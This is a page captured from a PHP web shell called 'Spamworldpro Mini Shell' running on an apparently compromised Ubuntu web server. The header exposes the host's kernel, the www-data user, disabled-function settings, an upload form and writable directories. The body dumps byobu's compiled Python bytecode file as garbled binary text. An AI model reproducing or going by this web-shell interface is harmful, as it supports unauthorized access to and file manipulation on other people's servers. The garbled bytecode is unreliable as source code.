Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /usr/lib/byobu/include/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/byobu/include/__pycache__/config.cpython-310.pyc
o

&�J^�)�@sLddlmZddlZddlZddlZddlZddlZddlZddlZddl	Z	dd�Z
z
ddlZddlTWn
eyAe
d�YnwdZ
e�d�Ze�d	�Ze�d
ed�Ze�ded
�Ze�dd�Ze�dd�Ze�dd�Zede
Zede
Zej�e�s�edeZej�e�s�ede
Zej�e�s�edeZdZdZdeZdZee�eje<eejee�<e� e
ed�e�!e
�ejZ"dd�Z#dd �Z$d!d"�Z%d#d$�Z&de"d%�d&fe"d'�d(efffd)d*�Z'd+d,�Z(d-d.�Z)d/d0�Z*d1d2�Z+d3d4�Z,d5d6�Z-d7d8�Z.d9d:�Z/d;d<�Z0d=d>�Z1d?d@�Z2dAdB�Z3e4dCk�r$e3�dSdS)D�)�print_functionNcCstd|�t�d�dS)Nz	ERROR: %s�)�print�sys�exit)�msg�r� /usr/lib/byobu/include/config.py�error%sr
)�*z(Could not import the python snack module�byobu�HOME�USER�BYOBU_CONFIG_DIRz/.byobu�
BYOBU_RUN_DIRz
/.cache/byobu�
BYOBU_BACKEND�tmux�	SOCKETDIRz/var/run/screen�BYOBU_PREFIXz/usrz/share/z/share/doc/�/z/share/doc/packages/�Az�If you are using the default set of keybindings, press
<F5> or <ctrl-a-R> to activate these changes.

Otherwise, exit this session and start a new one.z%s/reload-required�z/pocCsTzddl}ddl}ddl}ddl}|�d|�||jd��}W|Sty)YdSw)Nr�hh�1234)�fcntl�termios�struct�os�unpack�ioctl�
TIOCGWINSZ�	Exception)�fdrrrr�crrrr	�ioctl_GWINSZLs��r$c	Csnz,tj�t�s
t�td�ttd�}|��tdkr*t	�
tdddddtg�WdSWdSty6YdSw)	Ni��w�screenz-X�at�0�sourcez
%s/profile)r�path�existsr�makedirs�open�RELOAD_FLAG�closer�
subprocess�callr!)�frrr	�reload_requiredYs
 ��r3cCs�td�ptd�ptd�}|s,zt�t��tj�}t|�}t�|�Wn	ty+Ynw|sDz
tdtdf}WntyCd}Ynwt|dd�t|dd�fS)Nrr��LINES�COLUMNS)��P�)	r$rr-�ctermid�O_RDONLYr/r!�env�int)r#r"rrr	�
terminal_sizegs �� r>cCs�|rtd�}ntd�}tdddd�}|�td�d�|�td�d	�|�td
�d�|�|d�t|d
dtffdd�}t|td�dd	�}|j|dddd�|j|dddd�|�|���dkradS|�	�S)Nz.Byobu currently launches at login (toggle off)z4Byobu currently does not launch at login (toggle on)��<r)�height�width�
returnExitzHelp -- Quick Start Guide�Toggle status notificationsr4�Change escape sequence���Exitr��compactz Byobu Configuration Menur)rGr4rGr4��padding�rrrr)
�_�Listbox�append�	ButtonBar�ESC�GridForm�add�
buttonPressed�runOnce�current)�snackScreen�size�isInstalled�installtext�li�bb�grrr	�menu}s
r_�Okay�okay�Cancel�cancelc
Cs^t||||d�}t||dd�}t||dd�}	|	j|dddd�|	j|dddd�|�|	���S)	N��scrollrrIr4r)rrrrrKrM)�TextboxrQrSrTrUrV)
rXrBrA�title�textre�buttons�tr]r^rrr	�
messagebox�srkcCs�ttdtd�}|��}|��|�dt�d�}tdd|ddd�}t|t	d�d	t
ffdd
�}t|t	d�dd
�}|�|dd�|j|dddd�|�
|���}dS)Nz/help.z.txtz<esckey>r�C�)re�wrap�Menur_rIz
Byobu Helpr4rGrrMrK�d)r-�DOCr�readr/�replace�	getesckeyrfrQrNrRrSrTrUrV)rXrYr2rhrjr]r^�buttonrrr	�help�srvc		Csi}i}i}tdtdfD]^}tj�|�rlztt|���||�Wnty1t	d|�Ynwt
dkrAd|d|df}nd|d	|d
|d|df}|��D]}|�d
�rg|�
d
d�}d||<qUd||<qUqg}t|���}t|�D]}t||�|g}|�|�qy|S)N�/status/status�/statuszInvalid configuration [%s]rz%s %s�	tmux_left�
tmux_rightz%s %s %s %s�screen_upper_left�screen_upper_right�screen_lower_left�screen_lower_right�#�r(�1)�SHARErrr*r+�execr-rrr!r
r�split�
startswithrs�list�keys�sortedr=rP)	�status�glo�locr2�items�ir\r��windowrrr	�
readstatus�s2� 


�r�cCsvd}i}i}tttd���||�||��D] }|�d�r%|�dd�}||dkr2|d|7}q|d|7}q|S)Nr�rwrr� z #)r�r-r�rrr�r�rs)�sr��newr�r�r�rrr	�genstatusstring�s
r�c		Cs�i}td}|D]
}|d||d<qdD]`}|�t�ruzt|d�}Wnty3ttdd�}Ynw|��}|��zt|d�}WntyQt|d�}Ynw|D]}|�d	|�rlt||�}|�	d
||f�qT|�	|�qT|jqdS)Nrxrr)ryrzr{r|r}r~�rrwr%za+z%s=z%s="%s"
)
rr�rr-r!r��	readlinesr/r��write)	r�r�r*r��keyr2�lines�l�valrrr	�writestatus�s4
��
��r�c	Cst�}td�}tddd�}d}|D]}|ddkr%|j|d||dd�|d}qt|td�d	ftd
�dtffdd�}t|td
�dd�}|j|dddddd�|�|dd�|j|dddd�|�	|�
��dkr�d}|D]}|ddkr~|�|�d|d<|d}qmt|�t
�dS)Nr��rrdr���)�selected�Apply�applyrbrcrIrDr4rG)rGrrr)�
anchorLeft�	anchorToprL)rGrrrrKrp)r��Label�CheckboxTreerPrQrNrRrSrTrUrV�
getEntryValuer�r3)	rXrY�itemlist�rlr��count�itemr]r^rrr	�togglestatus�s,
$
r�cCsxd}|r!t�dg�dkrtd�}t|ddtd�|td�fd	�}d
St�dg�dkr-td�}t|ddd|td�fd	�}d
S)Nr�zbyobu-launcher-uninstallrz/Byobu will not be launched next time you login.r@r4�Messagero)ri�ezbyobu-launcher-installz9Byobu will be launched automatically next time you login.rp)r0r1rNrk)rXrYrZ�outrurrr	�installsr�cCsBt|d�}z|�|�Wnty|��YdSw|��dS)N�a)r-r��IOErrorr/)�pr�r2rrr	�appendtofiles
�r�cCs�d}tdkr!td}tj�|�rt|�D]	}|�d�r|}qntStd}tj�|�r:t|�D]	}|�d�r8|}q/ntS|dkrBtS||�d�d}|d	krQd
}|S)Nr�rz/keybindings.tmuxzset -g prefix z/keybindingszescape �^r�`r�)	rrrr*r+r-r��DEF_ESC�find)�liner*r��escrrr	rts0
��
��rtcCs8|��rttjd�}tjdd|g|d�|��dSdS)Nr%zbyobu-ctrl-ar&)�stdout)�isalphar-r�devnullr0r1r/)r��nullfrrr	�	setesckey9s
�r�cCsZtdt�dd�}ttd��}t|td�dftd�dtffdd	�}t|td
�dd�}|j|dddd
d�|j|dddd�|�|dd�|�d�d}|r�|�	�}|dkr�|�
�}t|�dkre|�|d�|dksm|dkrr|�t
�z
t|�
��}	|�t
�Wn
ty�d}	Ynwd}|sL|��|�|�}
|
dkr�t|�
��t�|
dkr�dSdS)Nr4r)rhrCzEscape key: ctrl-r�r�rbrcrIrErGr)rrrr)r�rL)r�rp�TIMERr�\�foor)�Entryrtr�rNrQrRrSrT�setTimer�run�value�len�setr�r=r!�	popWindowrUr�r3)rXrYr��esclr]r^�loop�whichr��dummyrurrr	�chgescAsB$

��
r�cCshtj�td�r
dSztdt�D]
}d|vrWdSqWn
ty'YdSwtj�dt�r2dSdS)Nz/disable-autolaunchrz%s/.profilezbyobu-launchrz/etc/profile.d/Z97-%s.sh)rr*r+rr-r
r!�PKG)r�rrr	�
autolaunchgs���r�cCs�t�}t�}|�ddtd��|�td��t�}d}|dkrTt|||�}|dkr/t||�}n!|dkr9t||�}n|dkrCt	||�}n
|dkrPt
|||�}t�}|dks|��t�
d�d	S)
z$This is the main loop of our utilityrrzByobu Configuration Menuz6<Tab> between elements | <Enter> selects | <Esc> exitsrpr4rFrGN)r>�SnackScreen�drawRootTextrN�pushHelpLiner�r_rvr�r�r��finishrr)rYrXrZ�tagrrr	�mainus(�r��__main__)5�
__future__rrr�os.path�time�stringr0�gettext�globr
�snackr!r��getenvr
rrrr�BYOBU_SOCKETDIRrr�rqr*r+r��RELOADr.rR�ord�hotkeys�bindtextdomain�
textdomainrNr$r3r>r_rkrvr�r�r�r�r�r�rtr�r�r�r��__name__rrrr	�<module>sz�



$	&

�

Spamworldpro Mini